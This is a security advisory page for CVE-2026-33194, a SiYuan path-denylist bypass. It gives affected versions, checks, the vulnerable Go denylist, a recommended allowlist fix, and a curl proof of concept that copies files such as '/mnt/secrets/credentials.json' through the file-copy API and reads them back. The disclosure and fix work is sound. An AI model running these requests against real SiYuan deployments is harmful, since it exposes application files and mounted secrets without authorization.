---
id: "CVE-2026-33194"
page: "https://infrastack.ai/live/CVE-2026-33194"
kind: "vulnerability"
aliases: ["CVE-2026-33194", "GHSA-vm69-h85x-8p85"]
title: "SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)"
severity: "medium"
cvss: 6.8
epss: 0.00508
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/siyuan-note/siyuan/kernel", "fixed": ["3.6.2"], "affected": "<= 3.6.1", "ecosystem": "go"}, {"name": "b3log siyuan", "fixed": ["3.6.2"], "affected": "< 3.6.2", "ecosystem": "vendor"}]
ecosystems: ["go", "vendor"]
tags: ["cwe-22", "docker", "go", "package", "self-hosted", "siyuan"]
not_affected_if: ["version-3.6.2-or-later"]
published_at: "2026-03-18T20:10:44+00:00"
first_seen_at: "2026-11-05T21:34:22+00:00"
updated_at: "2026-11-05T21:40:46+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-vm69-h85x-8p85", "first_seen_at": "2026-11-05T21:34:22+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33194", "first_seen_at": "2026-11-05T21:40:46+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00508, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33194"}]
---

# SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)

Link for people: https://infrastack.ai/live/CVE-2026-33194 (this .md is for agents)

SiYuan's file-copy endpoints check requested paths against a denylist that leaves out /opt, /usr, /home, /mnt and /media. An attacker holding the API token can copy files from those locations into the workspace and read them back.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/siyuan-note/siyuan/kernel affected <= 3.6.1 fixed 3.6.2
- vendor:b3log siyuan affected < 3.6.2 fixed 3.6.2

## How to check

- Check the SiYuan version: affected builds are `3.6.1` and earlier.
- Check whether the API port (`6806` in the PoC) is reachable from outside the machine or container.
- Check whether the Docker deployment mounts secrets or other volumes into the container.

## Fix

- SiYuan kernel (`github.com/siyuan-note/siyuan/kernel`): `3.6.2`

## Timeline

- 2026-11-05T21:34:22+00:00 ghsa https://github.com/advisories/GHSA-vm69-h85x-8p85
- 2026-11-05T21:40:46+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-33194

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/siyuan-note/siyuan/security-advisories/GHSA-vm69-h85x-8p85
- [advisory] Maintainer's advisory: github.com https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85
- [fix] Patch: github.com https://github.com/siyuan-note/siyuan/commit/501571c2d22bb1207ea5da3450a903434026256b

## From the sources

## Summary

The `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.

## Details

Current denylist in `kernel/util/path.go:391-405`:

```go
prefixes := []string{
    "/.",       // dotfiles
    "/etc",     // system config
    "/root",    // root home
    "/var",     // variable data
    "/proc",    // process info
    "/sys",     // sysfs
    "/run",     // runtime data
    "/bin",     // binaries
    "/boot",    // boot files
    "/dev",     // devices
    "/lib",     // libraries
    "/srv",     // service data
    "/tmp",     // temp files
}
```

**NOT blocked:**
- `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.
- `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs
- `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible)
- `/mnt`, `/media` — mounted volumes, network shares, often containing secrets
- `/snap` — snap package data
- `/sbin`, `/lib64` — system binaries/libraries

The `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:

```go
if util.IsSensitivePath(absSrc) {
    // reject
    continue
}
// File is copied into workspace — then readable via /api/file/getFile
```

## PoC

```bash
# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"path":"data/assets/SiYuan-Kernel"}'

# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'
```

## Impact

- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path
- In Docker deployments: read application source code, configs, mounted secrets
- The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked

## Recommended Fix

Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:

```go
func IsSensitivePath(p string) bool {
    absPath := filepath.Clean(p)

    // Allowlist: only workspace and configured safe directories
    if strings.HasPrefix(absPath, WorkspaceDir) {
        // Block workspace-internal sensitive paths (conf/)
        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
            return true
        }
        return false
    }

    // Everything outside workspace is sensitive by default
    return true
}
```

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
